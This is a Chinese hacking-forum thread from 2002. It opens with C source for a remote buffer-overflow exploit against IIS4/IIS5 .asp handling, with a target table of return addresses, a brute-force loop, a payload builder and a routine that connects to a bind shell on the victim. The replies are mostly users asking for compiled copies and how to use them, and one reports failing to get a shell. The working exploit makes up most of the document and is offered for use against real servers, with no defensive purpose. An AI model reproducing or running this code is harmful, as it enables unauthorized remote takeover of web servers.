"\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc7\xce\x84\xcf"
"\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0\xaa";

struct{
int    def;
char    *descr;
unsigned int ret;
unsigned int rewrite;
int port;
char path[256];
}target[] = {
{0, " IIS5 Windows 2000 by hsj", 0x0045C560, 0x77eaf44c, 80, "/iisstart.asp"},
{1, " IIS5 Windows 2000 Chinese SP0 - SP1", 0x0045C560, 0x77ec044c, 80, "/iisstart.asp"},
{2, " IIS5 Windows 2000 Chinese SP2", 0x0045C560, 0x77ebf44c, 80, "/iisstart.asp"},
{3, " IIS5 Windows 2000 English SP2", 0x0045C560, 0x77edf44c, 80, "/iisstart.asp"},
{4, " IIS4 Windows NT4", 0, 0, 80, "/iisstart.asp"},
{666, NULL, 0, 0, 0, NULL}
};


int sel = 0;
int resolve (char *IP);
int make_connection(char *address,int port);
int open_back(char *host,int port);
void l33thax0r(int sock);
void usage(char *name);

int main(int argc, char **argv)
{
int i, j, cnt, sock;
int brute = 0;
unsigned int step;
unsigned char        *shell_port_offset;
char buf[8192], buf2[16384], host[1024];
unsigned int ret_start, ret_stop, ret_step, ret_1;

fprintf(stderr, "\n IIS4(NT4) - IIS5(2K) .asp buffer overflow remote exploit "
"- DDK Crew 2k2 - (version "VERSION")\n"
" by NeMeS||y and Birdack\n\n");

if(argc == 1) usage(argv[0]);

while((cnt = getopt(argc,argv,"h:t:p:f:b:")) != EOF)
{
switch(cnt)
{
case 'h':
strncpy(host, optarg, sizeof(host));
host[sizeof(host) - 1] = '\x00';
break;
case 't':
sel = atoi(optarg);
break;
case 'p':
sscanf(optarg, "%p", &target[sel].port);
break;
case 'f':
strncpy(target[sel].path, optarg, sizeof(&target[sel].path));
target[sel].path[sizeof(&target[sel].path) -1] = '\x00';
break;
case 'b':
brute = 1;
step = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}

if(target[sel].def == 4) brute = 1; // ;>

sock = make_connection(host,target[sel].port);
if(sock<0)
{
printf("Error -> [ %d ] not connected.\n\n",sock);
return -3;
}
if(brute==0)
{
ret_start = target[sel].ret;
ret_step = 1;
ret_stop = target[sel].ret;
} else {
ret_start = RET_BRUTE_START;
ret_step = step;
ret_stop = RET_BRUTE_STOP;
}

printf("\n [+] Start\n\n host\t->\t%s\n port\t->\t%d\n path\t->\t%s\n type\t->\t%s\n\n\n",
host, target[sel].port, target[sel].path, target[sel].descr);

if(brute==1) printf("\n [+] Brute forcing enabled... do u have time?\n\n");

for(ret_1 = ret_start; ret_1 <= ret_stop; ret_1 += ret_step)
{
for(i=0;i<sizeof(buf)-strlen(wincode)-12-1;)
{
buf[i++] = 0xeb;
buf[i++] = 0x06;
}
*(unsigned int *)&buf[i] = 0x41414141;
*(unsigned int *)&buf[i+4] = 0x41414141;
*(unsigned int *)&buf[i+8] = 0x41414141;

memcpy(&buf[sizeof(buf)-strlen(wincode)-1],wincode,strlen(wincode));
buf[sizeof(buf)-1] = 0;
sprintf(buf2,"POST %s?%s HTTP/1.0\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Transfer-Encoding: chunked\r\n\r\n"
"10\r\nDDKDDKDDKDDKDD\r\n"
"4\r\nRETT\r\n"
"4\r\nREWR\r\n"
"0\r\n\r\n\r\n",
&target[sel].path,buf);

*(unsigned int *)strstr(buf2,"REWR") = &target[sel].rewrite;
*(unsigned int *)strstr(buf2,"RETT") = ret_1;
if(brute==0) printf(" # Sending buffer to socket : ");
write(sock,buf2,strlen(buf2));

fprintf(stderr, " [+] ret : 0x%08lx ->",ret_1);

sleep(3);
if(brute==0) printf("DONE!\n\n");
shutdown(sock,2);
close(sock);
printf(" # connecting to our shell - port : [ %d ]\n",PORT_BIND);
sock=open_back(host,PORT_BIND);
if(sock==-1 && brute==0)
{
printf("\n [-] FAILED ");
printf("exiting now!\n\n");
exit(-1);
}
if(sock!=-1)
{
printf("\n\n[+] Address guessed!! \n\n");
printf("...OH oH OH... done! our evilcode has worked baby at [ %d ]\n", ret_1);
l33thax0r(sock);
exit(0);
}
}

}


int resolve (char *IP)
{
struct hostent *info;
unsigned long ip;

if ((ip=inet_addr(IP))==-1)
{
if ((info=gethostbyname(IP))==0)
{
printf("Couldnt resolve [%s]\n", IP);
exit(0);
}
memcpy(&ip, (info->h_addr), 4);
}
return (ip);
}

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}



int open_back(char *host,int port)
{
int sock, err;
struct sockaddr_in server_addr;
struct hostent *he;
he=gethostbyname(host);
if (he == NULL) return -1;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
server_addr.sin_addr.s_addr = resolve(host);

sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1) return -1;
err = connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
if (err == -1) sock = -1;
return sock;
}


void l33thax0r(int sock)
{
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
i=read(sock,buf,1024);
if (i <= 0)
{
printf("Fuck... the connection was closed!\n");
printf("exiting...\n\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0)
{
buf[i]=0;
write(sock,buf,i);
}
}
}
}

void usage(char *name)
{
int j = 0;

printf("Usage: %s <-h hostname> <-t target> [-p port] [-f path file] [-b step]\n", name);
printf("\nOptions:\n"
" -h hostname (www.iisvictim.com)\n"
" -t target\n"
    " -p port (default 80)\n"
" -f path_file (default /iisstart.asp)\n"
" -b step (brute force, try step 2000)\n\n"
"Available targets:\n\n");
while(target[j].def != 666)
{
printf(" %d ] - %s -\n", target[j].def, target[j].descr);
j++;
}
printf("\n");
exit(1);
}

----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-06-24.02:34:58   MSIE 5.01 Windows 2000IP: 已记录
★帅の蟑螂帅哥哦
级别:管理员
威望:0
经验:20
货币:4114
体力:100
来源:127.0.0.1
总发帖数:3059
注册日期:2001-04-19
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我靠,老痞动作挺快嘛!
----------------------------------------------------------
为了明天奢侈糜烂的生活而奋斗

编辑 删除 发表时间发表于 2002-06-24.06:10:38   MSIE 6.0 Windows 2000IP: 已记录
Squall帅哥哦
级别:一般站友
威望:0
经验:0
货币:171
体力:33.2
来源:211.162.126.*
总发帖数:12
注册日期:2002-06-08
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请问谁编译好,发上来呢?

编辑 删除 发表时间发表于 2002-06-24.08:04:57   MSIE 6.0 Windows XPIP: 已记录
19821119帅哥哦
级别:管 理 员
威望:3
经验:0
货币:6
体力:-0.0437
来源:19821119
总发帖数:1801
注册日期:2002-01-29
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有沒有編譯好的.....
----------------------------------------------------------
19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119

编辑 删除 发表时间发表于 2002-06-24.08:05:42   MSIE 5.0 Windows 98IP: 已记录
土豆进城帅哥哦
级别:老 站 友
威望:0
经验:0
货币:1396
体力:84.9
来源:湖南
总发帖数:266
注册日期:2002-04-04
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都没人编译,那我编译了啊,可编译了我又不晓得用。。。
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-06-24.10:43:57   MSIE 6.0b Windows 98IP: 已记录
飞静帅哥哦
级别:精灵王
威望:0
经验:2
货币:2029
体力:100
来源:广西
总发帖数:562
注册日期:2002-04-02
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哪里有。。。。。
----------------------------------------------------------
孤独是可耻的,因为我孤独,所以我是可耻的!!....

编辑 删除 发表时间发表于 2002-06-24.10:45:06   MSIE 5.01 Windows 2000IP: 已记录
darkstone美女哟
级别:老 站 友
威望:0
经验:0
货币:742
体力:28.4
来源:218.62.3.*
总发帖数:202
注册日期:2002-04-24
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快快编译啊

编辑 删除 发表时间发表于 2002-06-24.11:15:47   MSIE 5.0 Windows 98IP: 已记录
无产阶级帅哥哦
级别:老 站 友
威望:0
经验:0
货币:2157
体力:100
来源:218.71.67.*
总发帖数:461
注册日期:2002-03-23
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编译好后如何使用.
----------------------------------------------------------
代表中共无产阶级人民欢迎您的到来.
[img]http://www.22gb.com/forum/attachments/1Dp4dA_admin.gif[img]

编辑 删除 发表时间发表于 2002-06-24.11:20:04   MSIE 6.0 Windows 98IP: 已记录
瑶瑶帅哥哦
级别:一般站友
威望:0
经验:0
货币:157
体力:33
来源:广东
总发帖数:18
注册日期:2001-04-13
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有谁溢出成功过,我就试了接近一个通宵,就是没有出过SHELL

编辑 删除 发表时间发表于 2002-06-24.11:27:48   MSIE 6.0 Windows XPIP: 已记录
lei200帅哥哦
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那里有编译好的软件
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我到此地探讨技术

编辑 删除 发表时间发表于 2002-06-24.11:30:43   MSIE 5.0 Windows 98IP: 已记录
神仙姐姐美女哟
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这贴好~~~出了教程吗
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淡泊明志,宁静至远;请别害我,我是好人!

编辑 删除 发表时间发表于 2002-06-24.12:39:29   MSIE 5.0 Windows 98IP: 已记录
帅哥哦
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老痞子又骗人!这个哪是htr的溢出啊,这个是asp的溢出嘛,是hsj写的,我们的isno前阵子不也写了个吗?

这个我编译好了,效果一般。
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你们到底他妈的有什么不爽的?

编辑 删除 发表时间发表于 2002-06-24.12:53:07   MSIE 6.0 Windows NT 5.2IP: 已记录
aaaddd帅哥哦
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老大 传上来一个用用啊

编辑 删除 发表时间发表于 2002-06-24.13:04:32   MSIE 6.0 Windows 2000IP: 已记录
帅哥哦
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我没空间啊~~~——··

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你们到底他妈的有什么不爽的?

编辑 删除 发表时间发表于 2002-06-24.13:06:12   MSIE 6.0 Windows NT 5.2IP: 已记录
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